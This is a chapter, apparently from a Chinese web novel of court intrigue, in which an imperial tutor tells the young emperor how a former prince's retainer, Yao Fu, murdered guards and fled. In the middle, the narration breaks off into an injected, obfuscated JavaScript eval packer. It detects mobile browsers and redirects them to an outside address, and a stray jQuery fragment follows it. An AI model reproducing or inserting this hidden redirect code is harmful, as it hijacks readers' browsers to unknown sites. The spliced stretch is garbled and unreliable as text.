菜色不错,御膳房显然为这外出的任务用了心思,挑的都是冷些也不耽误味道的菜。
又另备了金炉银丝炭,遣了人来王府重新热上。
可惜吃菜的人心思全不在这上。
几人被食不言的规矩压着,不得不一言不发,只急着吃完尽快商讨。
沈厌卿饮了茶,摆摆手,示意把点心摆到皇帝那边去:
“……许多旧是缠丝未了,果然不是一天两天能说清的,眼下只好由臣勉力做些解释。”
“陛下想先听什么?”
姜孚即答:
“姚伏。”
帝师的过往太丰富,这些故人竟一个接着一个蹦出来,个个都像是有着许多荡气回肠的故事。
姜孚觉着,要是问不清楚,恐怕回宫去把明年的安神香都烧完也睡不着。
他压下许多心思,和颜悦色道:
“不知此人是谁?朕是否该称一句‘师伯’呢?”
平常无事时,皇帝都是谦和用着“我”的自称。
一用上这个“朕”字,若不是什么极正式极官方的场合,就是要拿身份压人了。
——也真是好笑,都贵为天子了,竟还有这些奇奇怪怪的小心思。
沈厌卿失笑,拍了拍姜孚的膝头,让他放心:
“非要说的话,算是我半个师弟。”
“但他是个给人打下手的,并不算在我们一行里头。”
姜孚的注意力停在“我们”那两个字上,刚要追问。
却又听沈厌卿沉吟一下,神色间竟带上了些可惜:
“他能力本是够的……但想法与别人不同,自己选了那条路。”
……
时节一到,便会有许多雄鸟在林中占场。
歌鸣起舞,昼夜不息,为的是求取伴侣。
若此时一只雌鸟飞来,穿游叶间,见许多姿态各异的异性朝她搔首弄姿,一时做不出抉择,那要如何呢?
不妨将情况划分的简单些:
若是选了壮而美丽的,就要与其他闻曲而来的雌鸟共侍一夫,一份食粮分了许多次才能到手,终日算计争夺;
若是选了瘦而弱小的,那就不必担心竞争的事——因为这样低下的到处都是,选之不尽。好处是,这雄鸟只一心一意对她一个,可以占尽其资源。
简而言之,富人妾与穷人妻的区别。
要如何选?
噢,雌鸟其实也可以不做选择,而是振翅而上,应九霄之召,飞到东海的边界去尽兴高歌。
但这是鸟才能做的事,眼下考虑的是蜉蝣卿,他们作为先帝的棋子,被困死在宫里,并没有这么幸运的机会。
二选一,如何选?
讲求贞节的理学家们往往要说:
“宁做穷人妻,不为富人妾。”
不论悦耳与否,这毕竟是一种考虑。
若是侍奉皇子,显然独占其身边的位置,混个最脸熟最亲密才有出路,行事也方便。
因此,沈厌卿及其直系同门大多选了前者,同时挤掉了其他一切试图与自己竞争的人。
但姚伏这个人很不一样。
他不仅要做富人妾,还要大做特做,做的人尽皆知。
实在离奇。
据说他是经过了一番仔细推理思量,才大言不惭道:
“做壮鸟的妾所分到的食物,多于做瘦鸟的妻。善哉,吾从美!”
随后就飞速打包行囊,投入了一看便是前途无量的姜十佩和明子礼门下。
奇也怪哉,居然没有被明子礼踢出来。
大概此人确实有点水平,做着后勤的事情,能帮明子礼减负不少,也确实得姜十佩的欢心。
但沈厌卿的兄弟姐妹们对此大为唾弃,争抢着骂他只要富贵不要脸皮,拒绝承认自己曾经和此人在一扇窗下读过书。
择主岂能和讨食一样!
光算计食粮的多少,不顾念主上的恩情。目光短浅如此,狼心狗肺——陛下怎么养了这么个东西!
姚伏对此仿佛毫无察觉,美滋滋享受着锦绣加身荣华不尽,身上的担子还比首席轻上不少。
称不上偷懒摸鱼,但也是在皇子间乱成的一锅粥里划水划得尽兴。
奉德十九年漫天的的刀光剑影里,此人竟能保全自身,连一根头发丝都没掉过。
沈厌卿一行人累得几乎要先后到阎王爷那里提前报道的时候,他还蹲在惠王府花园里喂天鹅。
有人骂他:天鹅尚知道一夫一妻至死不渝,你却在这里耍滑!
姚太从抛尽手中小米,正色答道:
天下的鸟数之不尽,难道个个都要人去学?那我怎么不去填海,不去送信,不去捧太阳上天?
不待对方再骂,他又补充道:
因着我这颗心都牵在惠王殿下身上!
任是羲和驾车亲自来请,我也不愿挪动一分一毫。
沈厌卿念起此人言行就想苦笑:
论及脸皮的厚度,同辈人还真没有哪个比得过他。
……
姜孚也适时笑出声:
“听起来是个福大命大的,那他如今——”
沈厌卿知道这是问到重点上了,连忙正色道:
“臣不能确认,但此人确实没有死在奉德十九年至崇礼二年前后。”
换言之,就是没有死在他手上。
也没有被他确认过尸首。
“这是臣的失误……确实输了此人一着。”
说是输也有些不恰当,但是实在是低估了此人弃主求生的信念和过于低下的素质。
也怪他当时太死忠,真以为蜉蝣卿里全是其他那些去一封信就可令其自杀的货色。
一点也想不起来,还有人自始至终都没束住那颗活泛的心。
……
奉德十九年七月明子礼失踪后,姚伏迅速顶上了他的位子,站到了惠王身边。
惠王本以为自己行将失势,失尽人心。
却不想这位平常不露锋芒的先生竟挺身而出,一改先前隐鳞藏彩的窝囊样子。
尽心尽力协助他主张大局,事事都办的妥当安稳。
一时间,惠王府看起来竟也不比明子礼在时差上多少。
惠王思虑几日,打探不到允王府和宫里的动向,局势愈发危险,终于决定鱼死网破,最后一次与自己的七弟争抢那个位置。
与其坐以待毙,还不如放手一搏!
姚伏则没有提出任何意见——这是他与明子礼最大的区别。
明子礼会与姜十佩商讨其每一个决定,不认可的绝不许执行。
而姚伏则只会低下头诺诺答应,顺从得真如买来填房的妾侍。
姜十佩不是喜欢独断专行的人,也不爱听马屁,对此不甚适应。
但毕竟也没得选了。
待到动身那日,姚伏替他准备好了一切事物,牵着马送他到王府门口,认真说道:
“若是日后富贵了,不求殿下记得我,只希望殿下千万不要忘记明师兄啊。”
惠王大为感动,拍拍他的肩,带兵走了,激起一路飞尘。
姚伏则抹着眼泪,步伐不急不慢,踩着石子小路走回书房。
下人问他:
姚先生,您哭什么呢?
姚伏由抽泣转为嚎啕,惊飞了数只树上的鸟:
我跟了殿下这么多年,实在是放心不下他啊!
一时间许多人都感动于他这赤诚忠心,跟着哭哭啼啼起来。
惠王这一去生死未卜,他们这些人的命运也都系在他身上了。
若是事成,他们都能迁到宫里去,享一辈子荣华富贵;若是事败,他们连做了刀下鬼都不知要埋在哪里!
一团震天哭声中,姚伏转身朝马厩走去,牵了一匹好马,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158542|164822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边哭边走。
有人哭着拦他,他也哭着答道:
不要拦我!我要到殿下身边去!我虽然没什么能力,但是有一颗愿为陛下挡剑的心!
那人则扣住马头,拽的死紧,哽咽着说:
殿下早担心先生的安危,吩咐了,说他回来前哪里也不能让先生去啊!
姚伏又仰天大哭三声,眼泪突然停了。
这代理了三日首席的姚先生收起愁容,露出森白的牙,冷笑了几声:
“我就知道这厮信不过我!”
若是明子礼随行,此时定两马并辔跑的高兴呢!
“——无妨,他也不像个能成事的!”
随后拔出佩剑,电光火石间剁下了对方的手。
那拦他的人还不及惨叫出声,又被他一剑刺向颈间了结了性命,鲜血喷了满地。
霎时间,府中人全安静了。
姚伏一手牵马,一手持剑,眯着眼环视四周。
有拔出武器对着他的,有跑了报信的的,但更多的是畏缩不敢上前的。
——先不说姚先生此时跑了,追罪未必会追到他们身上;即使是看着马笼头上挂着的那只断手,也不得不为自己的性命多加考虑。
姚太从翻身上马,剑光如电,又杀了几个拦路的并王府门口的守卫,如入无人之境。
在新一片哭声震天中,带着半身血狂笑而去。
从此再不见此人任何踪影。
……
姜孚几乎要鼓起掌来。
“想不到那几年里还有这样的侠情传奇。”
沈厌卿无奈看他:
“叛主背心本是死罪,陛下怎的当成故事听了?”
姜孚眨眨眼答道:
“姚先生此举,不是为我和老师省了许多事么?”
惠王一死,惠王府连失三位主心骨,乱作一团,沈厌卿留的后手们相当容易地就打包全收拾了,倒算个意外之喜。
“再者,老师有意留下他,大概也是想着今日能为我们所用吧?”
沈厌卿离席再拜:
“陛下明察,臣实在有愧。”
此人性子奇特,蜉蝣卿出身却不忠于自己的主上,背负着满身才华不得重用,苟活至今日一定心怀不甘。
棋子无主不能行事,姚伏游离在外不成气候,正是捉出来重新启用的好时机。
就像是树间穿过的锦鸡,谁展网捞下谁就可剪它的彩羽,给自己的衣饰添一份装点。
虽有前科,但若小心控制,未尝不可以一用。
年轻的君主站起身,呵住帝师双手:
“老师都是为了我好,我怎么会怪罪?”
“您方才诈那贼人时,我就有所猜测了。”
帝师心思深沉,若真认为对方背后是这位姚先生,定然不会直接相询,以防打草惊蛇。
而那些贼人若没能勾上姚伏,大概受刑时不用多久便会将所知和盘托出。
为的是对这位一想便是可疑的前惠王客卿进行攀咬,吸引视线。
盼他们失算入局,查错方向,为后来人争取时间。
可惜啊。
姜孚有些高兴地想着,可惜老师话里的那些意思,尽皆让他听懂了。
眼下无需老师多做半分解释,他便清楚老师想做什么。
默契呀,默契。
无可替代的默契!
沈厌卿惭愧道:
“这也是一招险棋。”
“臣以为,姚伏这样的人,虽然不可共苦,但可同甘。”
至于要清理惠亲王的旧部,此人更是不可或缺的人选。
以彼之矛,攻彼之盾。
若是他没猜错,对杨家的构陷恐怕也与这群人脱不开关系。
敢对姜孚的母家下手,又盯着姜孚的位置……
奉德十九年留下的旧帐,也是时候好好清算一下了。